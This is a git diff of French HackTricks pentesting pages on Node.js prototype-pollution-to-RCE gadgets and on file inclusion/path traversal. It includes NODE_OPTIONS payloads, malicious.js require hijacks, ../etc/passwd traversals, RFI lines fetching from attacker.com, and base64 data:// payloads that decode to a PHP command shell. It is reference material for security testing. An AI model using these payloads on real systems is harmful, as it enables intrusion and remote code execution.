* Au lieu de stocker le **payload** nodejs dans le fichier `/proc/self/environ`, il le stocke **dans argv0** de **`/proc/self/cmdline`**.
|
||||
* Ensuite, au lieu d'exiger via **`NODE_OPTIONS`** le fichier `/proc/self/environ`, il **exige `/proc/self/cmdline`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -162,7 +162,7 @@ var proc = fork('a_file.js');
|
|||
|
||||
## Interaction DNS
|
||||
|
||||
En utilisant les charges utiles suivantes, il est possible d'exploiter la variable d'environnement NODE\_OPTIONS dont nous avons discuté précédemment et de détecter si cela a fonctionné avec une interaction DNS :
|
||||
En utilisant les payloads suivants, il est possible d'abuser de la variable d'environnement NODE\_OPTIONS dont nous avons discuté précédemment et de détecter si cela a fonctionné avec une interaction DNS :
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -172,7 +172,7 @@ En utilisant les charges utiles suivantes, il est possible d'exploiter la variab
|
|||
}
|
||||
}
|
||||
```
|
||||
Ou, pour éviter que les WAF ne demandent le domaine :
|
||||
Ou, pour éviter les WAFs demandant le domaine :
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -182,13 +182,13 @@ Ou, pour éviter que les WAF ne demandent le domaine :
|
|||
}
|
||||
}
|
||||
```
|
||||
## Vulnérabilité PP2RCE des fonctions child\_process
|
||||
## Vulnérabilité PP2RCE dans les fonctions `child_process`
|
||||
|
||||
Dans cette section, nous allons analyser **chaque fonction de `child_process`** pour exécuter du code et voir si nous pouvons utiliser une technique pour forcer cette fonction à exécuter du code :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exploitation de <code>exec</code></summary>
|
||||
<summary><code>exploitation de `exec`</code></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -221,7 +221,7 @@ var proc = exec('something');
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Exploitation de <code>execFile</code></strong></summary>
|
||||
<summary><strong><code>execFile</code> exploitation</strong></summary>
|
||||
```javascript
|
||||
// environ trick - not working
|
||||
// It's not possible to pollute the .en attr to create a first env var
|
||||
|
@ -240,16 +240,16 @@ var proc = execFile('/usr/bin/node');
|
|||
|
||||
// Windows - not working
|
||||
```
|
||||
Pour que **`execFile`** fonctionne, il **DOIT exécuter node** pour que les NODE\_OPTIONS fonctionnent.\
|
||||
Si ce n'est pas **node** qui est exécuté, vous devez trouver comment **modifier l'exécution** de ce qui est exécuté **avec des variables d'environnement** et les définir.
|
||||
Pour que **`execFile`** fonctionne, il **DOIT exécuter node** pour que les NODE\_OPTIONS fonctionnent.
|
||||
Si ce n'est **pas** en train d'exécuter **node**, vous devez trouver comment vous pourriez **modifier l'exécution** de ce qu'il exécute **avec des variables d'environnement** et les définir.
|
||||
|
||||
Les **autres** techniques **fonctionnent** sans cette exigence car il est **possible de modifier** ce qui est exécuté via la pollution du prototype. (Dans ce cas, même si vous pouvez polluer `.shell`, vous ne polluerez pas ce qui est en cours d'exécution).
|
||||
Les **autres** techniques **fonctionnent** sans cette exigence car il est **possible de modifier** **ce qui est exécuté** via la pollution de prototype. (Dans ce cas, même si vous pouvez polluer `.shell`, vous ne polluerez pas ce qui est exécuté).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exploitation de <code>fork</code></summary>
|
||||
<summary><code>fork</code> exploitation</summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -295,7 +295,7 @@ var proc = fork('./a_file.js');
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>exploitation de spawn</code></strong></summary>
|
||||
<summary><strong><code>spawn</code> exploitation</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -483,20 +483,20 @@ var proc = spawnSync('something');
|
|||
|
||||
</details>
|
||||
|
||||
## Forcer le spawn
|
||||
## Forcer le Spawn
|
||||
|
||||
Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui appelle `spawn` nécessite qu'elle soit présente (toutes les méthodes de `child_process` utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait partie du code, mais que se passe-t-il si le code ne l'appelle pas.
|
||||
Dans les exemples précédents, vous avez vu comment déclencher le gadget, une fonctionnalité qui **appelle `spawn`** doit être **présente** (toutes les méthodes de **`child_process`** utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait **partie du code**, mais que se passe-t-il si le code **ne l'appelle pas**.
|
||||
|
||||
### Contrôler le chemin d'un fichier require
|
||||
### Contrôler un chemin de fichier require
|
||||
|
||||
Dans ce [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin du fichier où un `require` sera exécuté. Dans ce scénario, l'attaquant doit simplement trouver un fichier `.js` à l'intérieur du système qui exécutera une méthode spawn lorsqu'il est importé.\
|
||||
Voici quelques exemples de fichiers courants appelant une fonction spawn lorsqu'ils sont importés :
|
||||
Dans ce [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utilisateur peut contrôler le chemin du fichier où un **`require`** sera exécuté. Dans ce scénario, l'attaquant doit juste **trouver un fichier `.js` dans le système** qui **exécutera une méthode spawn lors de l'importation.**\
|
||||
Quelques exemples de fichiers communs appelant une fonction spawn lors de l'importation sont :
|
||||
|
||||
* /path/to/npm/scripts/changelog.js
|
||||
* /opt/yarn-v1.22.19/preinstall.js
|
||||
* Trouvez **plus de fichiers ci-dessous**
|
||||
|
||||
Le script simple suivant recherchera les appels de `child_process` sans aucun rembourrage (pour éviter d'afficher les appels à l'intérieur des fonctions) :
|
||||
Le script simple suivant recherchera des **appels** de **child\_process** **sans aucun padding** (pour éviter d'afficher des appels à l'intérieur de fonctions) :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -505,8 +505,6 @@ grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileS
|
|||
done
|
||||
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fichiers intéressants trouvés par le script précédent</summary>
|
||||
|
@ -523,24 +521,24 @@ done
|
|||
|
||||
</details>
|
||||
|
||||
### Définition du chemin du fichier requis via la pollution du prototype
|
||||
### Définir le chemin du fichier requis via la pollution de prototype
|
||||
|
||||
{% hint style="warning" %}
|
||||
La **technique précédente nécessite** que l'**utilisateur contrôle le chemin du fichier** qui va être **requis**. Mais ce n'est pas toujours le cas.
|
||||
La **technique précédente nécessite** que **l'utilisateur contrôle le chemin du fichier** qui va être **requis**. Mais ce n'est pas toujours le cas.
|
||||
{% endhint %}
|
||||
|
||||
Cependant, si le code va exécuter un require après la pollution du prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer un autre chemin en abusant de la pollution du prototype**. Ainsi, même si la ligne de code est `require("./a_file.js")` ou `require("bytes")`, elle **requerra le package que vous avez pollué**.
|
||||
Cependant, si le code doit exécuter un require après la pollution de prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer un chemin différent en abusant de la pollution de prototype**. Donc, même si la ligne de code est comme `require("./a_file.js")` ou `require("bytes")`, il **requerra le package que vous avez pollué**.
|
||||
|
||||
Par conséquent, si un require est exécuté après votre pollution du prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :
|
||||
Par conséquent, si un require est exécuté après votre pollution de prototype et aucune fonction spawn, voici l'attaque :
|
||||
|
||||
* Trouvez un **fichier `.js` dans le système** qui, lorsqu'il est **requis**, va **exécuter quelque chose en utilisant `child_process`**
|
||||
* Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pouvez télécharger un fichier comme celui-ci
|
||||
* Polluez les chemins pour **forcer le require à charger le fichier `.js`** qui va exécuter quelque chose avec child\_process
|
||||
* **Polluez l'environnement/cmdline** pour exécuter du code arbitraire lorsqu'une fonction d'exécution child\_process est appelée (voir les techniques initiales)
|
||||
* Trouver un fichier **`.js` dans le système** qui, lorsqu'il est **requis**, **exécutera quelque chose en utilisant `child_process`**
|
||||
* Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pourriez télécharger un fichier de ce type
|
||||
* Polluer les chemins pour **forcer le chargement du fichier `.js`** qui exécutera quelque chose avec child\_process
|
||||
* **Polluer l'environ/cmdline** pour exécuter du code arbitraire lorsqu'une fonction d'exécution child\_process est appelée (voir les techniques initiales)
|
||||
|
||||
#### Require absolu
|
||||
|
||||
Si le require effectué est **absolu** (`require("bytes")`) et que le **package ne contient pas de main** dans le fichier `package.json`, vous pouvez **polluer l'attribut `main`** et faire en sorte que le **require exécute un fichier différent**.
|
||||
Si le require effectué est **absolu** (`require("bytes")`) et que le **package ne contient pas main** dans le fichier `package.json`, vous pouvez **polluer l'attribut `main`** et faire en sorte que le **require exécute un fichier différent**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
|
@ -570,10 +568,12 @@ clone(USERINPUT);
|
|||
var proc = require('bytes');
|
||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="malicious.js" %}
|
||||
```
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
|
@ -584,7 +584,7 @@ fork("anything");
|
|||
|
||||
#### Relative require - 1
|
||||
|
||||
Si un **chemin relatif** est chargé au lieu d'un chemin absolu, vous pouvez faire en sorte que node **charge un chemin différent**:
|
||||
Si un **chemin relatif** est chargé au lieu d'un chemin absolu, vous pouvez faire en sorte que node **charge un chemin différent** :
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
|
@ -612,10 +612,12 @@ clone(USERINPUT);
|
|||
var proc = require('./relative_path.js');
|
||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="malicious.js" %}
|
||||
```
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
|
@ -654,10 +656,12 @@ clone(USERINPUT);
|
|||
var proc = require('./relative_path.js');
|
||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="malicious.js" %}
|
||||
```
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
|
@ -668,7 +672,7 @@ fork('/path/to/anything');
|
|||
|
||||
#### Relative require - 3
|
||||
|
||||
Similaire au précédent, cela a été trouvé dans [**ce compte rendu**](https://blog.huli.tw/2022/12/26/fr/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
Similaire au précédent, cela a été trouvé dans [**ce compte-rendu**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
```javascript
|
||||
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
||||
Object.prototype["data"] = {
|
||||
|
@ -687,19 +691,23 @@ Object.prototype.env = {
|
|||
|
||||
require('./usage.js')
|
||||
```
|
||||
## Gadgets de la machine virtuelle
|
||||
## VM Gadgets
|
||||
|
||||
Dans l'article [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf), il est également indiqué que le contrôle de **`contextExtensions`** à partir de certaines méthodes de la bibliothèque **`vm`** pourrait être utilisé comme gadget.\
|
||||
Dans le papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf), il est également indiqué que le contrôle de **`contextExtensions`** de certaines méthodes de la bibliothèque **`vm`** pourrait être utilisé comme un gadget.\
|
||||
Cependant, comme les méthodes précédentes de **`child_process`**, cela a été **corrigé** dans les dernières versions.
|
||||
|
||||
## Corrections et protections inattendues
|
||||
## Corrections & Protections inattendues
|
||||
|
||||
Veuillez noter que la pollution du prototype fonctionne si l'**attribut** d'un objet auquel on accède est **indéfini**. Si dans le **code** cet **attribut** est **défini** avec une **valeur**, vous **ne pourrez pas le modifier**.
|
||||
Veuillez noter que la pollution de prototype fonctionne si l'**attribut** d'un objet qui est accédé est **undefined**. Si dans le **code** cet **attribut** a une **valeur définie**, vous **ne pourrez pas le remplacer**.
|
||||
|
||||
En juin 2022, à partir de [**cette validation**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` est un **`kEmptyObject`** au lieu de `{}`. Cela **empêche la pollution du prototype** d'affecter les **attributs** de **`options`** pour obtenir une RCE.\
|
||||
Au moins depuis la version 18.4.0, cette protection a été **implémentée**, et donc les **exploits** `spawn` et `spawnSync` affectant les méthodes **ne fonctionnent plus** (si aucune `options` n'est utilisée !).
|
||||
En juin 2022 à partir de [**ce commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` au lieu d'un `{}` est un **`kEmptyObject`**. Ce qui **empêche une pollution de prototype** d'affecter les **attributs** de **`options`** pour obtenir un RCE.\
|
||||
Au moins à partir de la version 18.4.0, cette protection a été **mise en œuvre**, et par conséquent, les **exploits** de `spawn` et `spawnSync` affectant les méthodes **ne fonctionnent plus** (si aucune `options` n'est utilisée !).
|
||||
|
||||
Dans [**cette validation**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution du prototype** de **`contextExtensions`** de la bibliothèque vm a également été **corrigée** en définissant les options sur **`kEmptyObject`** au lieu de **`{}`**.
|
||||
Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution de prototype** de **`contextExtensions`** de la bibliothèque vm a été **également en quelque sorte corrigée** en définissant les options sur **`kEmptyObject`** au lieu de **`{}`.**
|
||||
|
||||
### **Autres Gadgets**
|
||||
|
||||
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -710,12 +718,14 @@ Dans [**cette validation**](https://github.com/nodejs/node/commit/0313102aaabb49
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,16 @@
|
|||
# Inclusion de fichier/Parcours de chemin
|
||||
# Inclusion de Fichier/Traversée de Chemin
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,21 +18,21 @@
|
|||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Aperçus du Hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
|
||||
**Aperçus du Piratage**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage
|
||||
|
||||
**Nouvelles du Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
**Nouvelles du Piratage en Temps Réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec les lancements de nouvelles primes de bugs et les mises à jour cruciales de la plateforme
|
||||
Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
## Inclusion de fichier
|
||||
## Inclusion de Fichier
|
||||
|
||||
**Inclusion de fichier distant (RFI) :** Le fichier est chargé depuis un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, ceci est **désactivé** par défaut (**allow\_url\_include**).\
|
||||
**Inclusion de fichier local (LFI) :** Le serveur charge un fichier local.
|
||||
**Inclusion de Fichier Distant (RFI) :** Le fichier est chargé depuis un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, ceci est **désactivé** par défaut (**allow\_url\_include**).\
|
||||
**Inclusion de Fichier Local (LFI) :** Le serveur charge un fichier local.
|
||||
|
||||
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier qui va être chargé par le serveur.
|
||||
|
||||
|
@ -99,7 +101,7 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|||
```
|
||||
### Depuis un dossier existant
|
||||
|
||||
Il se peut que le back-end vérifie le chemin du dossier :
|
||||
Peut-être que le back-end vérifie le chemin du dossier :
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
|
@ -118,9 +120,9 @@ http://example.com/index.php?page=private/../../../../etc/passwd # we went deepe
|
|||
* si l'application est vulnérable, il pourrait y avoir deux résultats différents à la requête :
|
||||
* si vous obtenez une erreur / pas de sortie, le dossier `private` n'existe pas à cet emplacement
|
||||
* si vous obtenez le contenu de `/etc/passwd`, vous avez validé qu'il y a effectivement un dossier `private` dans votre répertoire courant
|
||||
* le ou les dossiers que vous avez découverts en utilisant cette technique peuvent ensuite être explorés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-répertoires en utilisant la même technique de manière récursive.
|
||||
* le(s) dossier(s) que vous avez découvert en utilisant cette technique peuvent ensuite être explorés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-dossiers en utilisant la même technique de manière récursive.
|
||||
|
||||
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, sous la même hypothèse (répertoire courant à la profondeur 3 du système de fichiers) vous souhaitez vérifier si `/var/www/` contient un répertoire `private`, utilisez le payload suivant :
|
||||
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, sous la même hypothèse (répertoire courant à la profondeur 3 du système de fichiers), vous souhaitez vérifier si `/var/www/` contient un répertoire `private`, utilisez le payload suivant :
|
||||
```
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
|
@ -164,12 +166,12 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## Inclusion de fichier à distance
|
||||
|
||||
En php, cela est désactivé par défaut car **`allow_url_include`** est **Off.** Il doit être **On** pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une exécution de commande à distance (RCE) :
|
||||
En php, cela est désactivé par défaut car **`allow_url_include`** est **Off.** Il doit être **On** pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une exécution de code à distance (RCE) :
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir RCE :
|
||||
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir une exécution de code à distance (RCE) :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -178,7 +180,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Dans le code précédent, le final `+.txt` a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par `.txt`, donc la chaîne se termine par cela et après le décodage b64, cette partie retournera juste des données inutiles et le vrai code PHP sera inclus (et donc, exécuté).
|
||||
Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par `.txt`, donc la chaîne se termine par cela et après le décodage b64, cette partie retournera juste des données inutiles et le vrai code PHP sera inclus (et donc, exécuté).
|
||||
{% endhint %}
|
||||
|
||||
Un autre exemple **sans utiliser le protocole `php://`** serait :
|
||||
|
@ -187,36 +189,30 @@ Un autre exemple **sans utiliser le protocole `php://`** serait :
|
|||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
## Élément racine Python
|
||||
|
||||
En python dans un code comme celui-ci :
|
||||
```
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Si l'utilisateur passe un **chemin absolu** à **`file_name`**, **le chemin précédent est simplement supprimé** :
|
||||
Si l'utilisateur transmet un **chemin absolu** à **`file_name`**, **le chemin précédent est simplement supprimé** :
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
```markdown
|
||||
C'est le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
|
||||
Voici le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
|
||||
|
||||
> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu.
|
||||
|
||||
## Java List Directories
|
||||
|
||||
Il semble que si vous avez une Traversal de chemin en Java et que vous **demandez un répertoire** au lieu d'un fichier, **une liste du répertoire est retournée**. Ce phénomène ne se produira pas dans d'autres langages (à ma connaissance).
|
||||
Il semble que si vous avez une Traversal de chemin en Java et que vous **demandez un répertoire** au lieu d'un fichier, **une liste du répertoire est retournée**. Ce comportement ne se produira pas dans d'autres langages (à ma connaissance).
|
||||
|
||||
## Top 25 des paramètres
|
||||
## Top 25 paramètres
|
||||
|
||||
Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (depuis [lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
|
||||
```
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
?action={payload}
|
||||
|
@ -243,11 +239,11 @@ Voici une liste des 25 principaux paramètres qui pourraient être vulnérables
|
|||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI en utilisant les wrappers & protocoles PHP
|
||||
## LFI / RFI en utilisant les protocoles et wrappers PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles soient lues ou écrites. Il existe 5 catégories de filtres :
|
||||
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
|
||||
|
||||
* [Filtres de chaînes](https://www.php.net/manual/fr/filters.string.php) :
|
||||
* `string.rot13`
|
||||
|
@ -260,7 +256,7 @@ Les filtres PHP permettent d'effectuer des **opérations de modification de base
|
|||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Transforme en un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir **la liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
|
||||
* `convert.iconv.*` : Transforme en un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
